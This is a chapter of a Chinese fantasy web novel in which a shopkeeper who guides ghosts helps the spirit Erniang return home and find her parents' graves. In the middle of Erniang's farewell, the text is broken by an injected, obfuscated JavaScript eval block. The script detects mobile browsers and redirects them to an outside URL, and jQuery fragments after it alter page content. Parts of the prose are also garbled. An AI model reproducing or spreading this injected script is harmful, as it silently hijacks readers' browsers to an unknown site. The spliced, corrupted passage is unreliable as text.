黑暗之中,只一盏灯火的光亮在前行,却照出了两个人的身影。远在二人身后,李念在屋子里从窗户的缝隙里看着微弱的灯光远去,嘴角忽的噙了一抹笑。
“便恭祝您得偿所愿罢。”
紧接着,她就听到窗牗被什么东西轻轻砸了一下。李念的眼神瞬间变得凌厉,冰冷的杀意从她眼眸中迸射而出。
“是我。”就在她握着匕首靠近时,窗户外传来一道很低的声音。
*
枝繁叶茂的柳树长在道路边,在夏季时分给过往的路人提供了不少便利。花时抱臂靠在柳树上,柳树的枝条含着枯黄的叶条垂落于身前。微微抬头,还能看到树枝条上绑着不少祈愿的布条与木牌。
“你既是凑热闹,可曾听到李稚袤最后所说那句吗?”
一条小路蜿蜒向前隐于一条小路蜿蜒向前隐于山间。四周昏暗,只余点点星光照耀。细细瞧着,天边已有丝丝缕缕的白色浸染。
岁衍摇头,唇边带着温润笑意看不出有没有撒谎:“不曾。”
“此前他记忆缺失,即便是他生前友人,他也认不出。”花时微阖双眸挡住了眼底的审视,去感受从身旁吹过的风,“那时你在我身后,那声先生,似乎是在称呼你。”
这话问得极坦率。
岁衍无聚焦的眼神就落在虚空处,半晌才敷衍笑着说:“我就一算命的,还能跟他扯上关系?我要找的或许不是他。”
似是而非又半真半假的话让花时也分辨不清,她若有所思地瞧了眼岁衍到底没说什么。
“无妨,终有一日,这些都会一一摆到面前。”岁衍的声音听着有些飘渺,像是无根之木不知到何处扎根。
毕竟他的过往成谜,未来也不知方向。他现在都只是靠着收养他的老头子给出的一点蛛丝马迹在寻找着,为寻真相,他已经步入局中,他所求那些不过早晚罢了。
“天,快亮了。”
花时深深看了眼岁衍,又转眸望向天边。她本也没指望这人能吐出什么有用的话出来。
“是吗?我看不见天亮。”岁衍轻声一笑摇摇头,表示自己看不见。
花时不接收他的意思,说道:“不见世人苦贪嗔痴,只求自己眼前路也不错。”
虽路漫漫。
岁衍无奈笑了笑:“是。”
忽然,花时垂在身侧的手轻轻地拍了拍身后的柳树,兀字开口:“给我唱个曲子吧。”
岁衍诧异扭头,发现花时似乎说的不是他。因为,自身后有一道哀哀怨怨的女子声音传来:“奴家、只会一首曲子。”
“???”
这柳树是这一片树木里长势最喜人的,常年在田埂间受人气滋养,有时信奉神仙的会将彩色布条绑在它朝日出的那面的枝条上诉说着自己的诉求,祈求上苍实现他们的心愿。久而久之柳树反而受着百姓的微弱的信仰,因此这几百年来已经生出神志。
岁衍颇为无语,若是再修行千年这树必能化形,何况她身上有百姓信奉之力,必然前途无量。可这稀奇古怪的自称是能在这里听到的东西吗?这是受了谁影响?就好似长得好好的树苗苗硬是被掰的扭曲了。
“无妨,唱来听听。”花时反倒不曾在意,声音冷淡淡然出尘。
随后,一首凄凄惨惨戚戚的词曲被一道哀怨的声音唱出来,十成十的幽怨哀鸣。花时听着脸都黑了淡然也没了出尘也丢了,咿咿呀呀的搞什么东西?
“行了行了。”面上直接结了一层冰,“唱的什么玩意儿。”
“……”
“明明是你叫我唱的!”那树妖,不对,还是个树精,她十分不服道。
岁衍的轻笑声在空旷的地方显得格外清晰,岁衍算是第一次在花时面前这般大笑。因为,花时发现了他尖尖的虎牙。
她想,这人竟有这般尖利的东西,倒是跟他的性子一样。虽然多变的不知到底哪一面才是真实的他,但隐隐暴露的放肆展现出他的尖利,犹如暗藏的利刃。
“你想唱?”花时瞥了岁衍一眼。
岁衍摆摆手摇头,笑得温和:“我可不会这哀怨调。”
“……”挖苦十分明显。
树精拿着腔调:“这曲子还是十几年前一对夫妻过路时唱的。我还学了好久呢!”
不然她一个妖精,会什么曲子?
“那是那女子自称奴家?”
柳树精不情不愿地嗯了一声。
岁衍扶额:“你活了这么久就没见其他人唱过歌?”
柳树的枝条发脾气似的甩了甩:“哪里还有人!”
听到这话,岁衍微微挑了下眉,衣袖下的手指迅速掐算着。
眼瞧着太阳升空,岁衍朝花时笑。
“掌柜,我便先走了。”
花时知晓这人来历成谜,方才去李家也许是探查什么东西。
“嗯。”
棍子敲地的轻微声响如水中涟漪般扩散。花时盯着这人的背影逐渐消失在田野间,她的身形也逐渐变得透明。风轻轻吹过,柳树下再无任何人的身影。
花时重新出现在医馆时,刚站定,一道小小的身影就朝她扑过来。
“花花!”
花时轻笑一声:“怎的了?”
“想花花。”
花时点了点梓梓的鸟喙:“又想吃什么了?”
梓梓有些扭捏道:“哪有……不过,镜生哥哥说冰糖葫芦特别好吃!”
“好。”花时从怀里拿出钱袋子,又扯出一张纸让梓梓叼着,“去吧。”
看梓梓可可爱爱点头,花时嘱咐道:“晚上我还要出去一趟,你若是想自己睡便关好门窗,若是不想,就同陈镜生一起睡。”
梓梓嘴里叼着东西说不出话来,只能萌萌狂点头。
花时坐回柜台后面,柜台上的册子无风翻飞间露出写有李稚袤名字的那一页。淡淡金光如萤火般从纸上飞跃而起。写着李稚袤生平的字眼缓缓消失,花时只来得及看见有几个字似乎在写“誓死不降,投......而亡。”
长宁街没有太阳,可长宁街上的每只鬼似乎都如太阳般升辉。花时盯着空白页面坐了许久,最终叹了口气只坐在柜台后面手支着脑袋睡觉。
这一觉睡了许久,意识回笼之后花时仍旧闭着眼睛。一想到今晚又要出门,花时就更不想睁开眼了,躺在那儿装死。
不知过了多久,医馆的门被轻轻敲了敲。
花时倏然睁开眼,不见方才的颓懒:“进。”
门被轻轻推开一条门缝,二娘轻轻飘了进来。
“阿时。”
二娘本名崔泠钰,但她家中常唤她二娘,久而久之也只余“二娘”二字让她念之不忘了。
花时见二娘轻手轻脚地将门合上,没忍住笑了一下:“二娘,怎的这么早就来了。”
这行为倒是与她生前截然相反。
二娘局促地拧着手指:“我有些紧张。”
花时:“为何?”
若不是册子上的记载十足的真切,二娘生前友人见她这般估摸着要被吓死。
二娘踌躇道:“我不知自己执念,我怕重回故里反倒成了错事。”
“不会。”花时轻声说。
花时掠过二娘所在之处。像二娘这般不知自己为何滞留世间的鬼魂稀少,偏偏世间少有的都留在了长宁街。只能随着册子的指引将他们牵回才能知下一步。
大概是花时太厉害,或是说出的话过于坚定,二娘渐渐镇定下来,魂魄也不再微微颤动。
二娘嘴唇翕动:“我能在这儿待着吗?”
“可以。”
二娘点头,目光有些留恋地扫视这医馆。她初次来时懵懂无知,却跌跌撞撞碰到了掌柜。想到这儿,二娘盯着花时的视线染上感激。
花时知道二娘只是想找个人一起呆着,所以也不打扰她。
直到时辰到了,打更声远远的从长宁街外传来,花时掐着点起身。
“时候到了?”二娘立马跟着起身。
花时点头。
二娘垂头片刻,倏然温婉笑了笑:“好。”
二人沿着长宁街缓缓向前走去。在即将路过街头那棵树时,身后便有无数光线缓缓渗入二娘魂魄里。
二娘微微弯腰一礼:“在此拜别各位。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363551|199791||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“祝所愿皆成。”
“多谢。”二娘方才的迟疑消失殆尽。
她现如今已经有一次回头的机会了,往后不该再有任何惧怕才是。何况,她也想知晓自己执念是何,究竟是否值得自己缠绵世间许久。
二娘家在渥山村,花时按着册子上的方位领着二娘前行。
夜间静谧无声,只余树叶簌簌的声响。
花时提着灯笼走在前面,金线牵着二娘的手腕。只半个时辰,二人就出现在渥山村村头。
花时转身盯着二娘:“走吧。”
这次二娘静静带路,脸上神色极为坚定。
到达一家门口时,熟悉感将她包围,停留在院门口许久她素手轻推院门。“嘎吱”一声,却没有引来任何人。
花时感受着院子里的腐朽之气,皱了皱眉。
二娘似乎也感受到了什么,转头看向花时。
花时主动上前踏入院内。
双眼微闭,霎时无形金光覆盖院落。
再睁眸时朝二娘微微摇头:“来晚了。”
二娘霎时懂了,再也就不出眼泪的眼眶忽然酸涩无比。皱着眉头将苦涩咽下,二娘切切看着花时。
“能找到他们的坟墓吗?”
花时的金线忽然从手掌中飞出,将在屋子里的某个角落发现的东西扯了出来。
是一封信。
花时将信交给二娘后转身,给她看信的空地。
二娘有些痛苦的声音传来:“是我来晚了。”
信飘落于地上,径直闯入花时视线里头。
“囡囡,爹娘怕是不能等你许久了,估摸着也等不到你再次归来。只愿吾儿能余生安稳,莫要受伤。战场刀剑无眼,万望保护好自己。吾儿能护着百姓,爹娘无憾。”
这些话后面有好几滴墨染开的痕迹,想来是写信之人想写许多话,又怕收信之人思忧过甚,最终还是只写了几句话。
花时将信捡起来:“好生收着吧。”
“掌柜......”
一切尽在不言中,花时寻着气息找到二人坟墓,眨眼间便带着二娘到了那里。
一个大坟墓旁还有一个小小的坟堆,但上面没有刻上任何字眼。两座坟相互倚靠着,周围杂草丛生。二娘倾身跪下,手拂过碑上的尘土。
回到熟悉的地方后,鬼魂的一些记忆会自行恢复,二娘盯着面前的两座坟腰背缓慢压了下去。
“爹,娘,阿姊。”语调无比轻缓,“我回家了,来看你们了。”
回应她的只有呜咽的风。
“来世希望你们能有一个听话乖巧,能常伴你们膝下的儿女,莫要再有像我这般离经叛道的女儿。”
说罢,便给二人磕了头。
转身看向花时时,眸光有些恍惚。一立一坐相互对视间二娘眼神忽然变得极为坦率,似乎将所有犹疑抛诸脑后:“掌柜,多谢。”
花时点头,金线缠绕于二娘周身,无形符咒浩浩荡荡飞转着。
“信,便当做我送你的礼物吧。”话音刚落,信像是一枚朱砂痣,烙印在二娘手腕上,成了血红一点。
二娘轻笑:“多谢。”
“你做的很好,不必这般贬低自己。来世,会有缘相见。”
似乎是懂了什么,二娘眼底戴着笑意。钟声响起时,一味药材缓缓离开二娘魂魄。她的眼神变得清冽有光,看向花时时有过恍然和久别重逢的欣喜。
她的嘴唇微动,但没有发出声音。
花时却看懂了,是“原来如此。您还活着,真好”。
不等她细细思索,二娘忽然开口:“掌柜,遇见你是我从不后悔的一件事。”
“祝您长命百岁,岁岁无忧。”
生前的记忆回归,二娘有些感伤又有些心痛。困在记忆的沼泽里的人,或清醒或迷惘,都陷的越来越深。
而她,却做不了什么了。如果没有将军的调离,或许,她也能陪着再走一段时间。
钟声消失之际,二娘似乎又套上了那身铠甲,光影错落间身影迅速消失。
花时缓过神来:“再会。”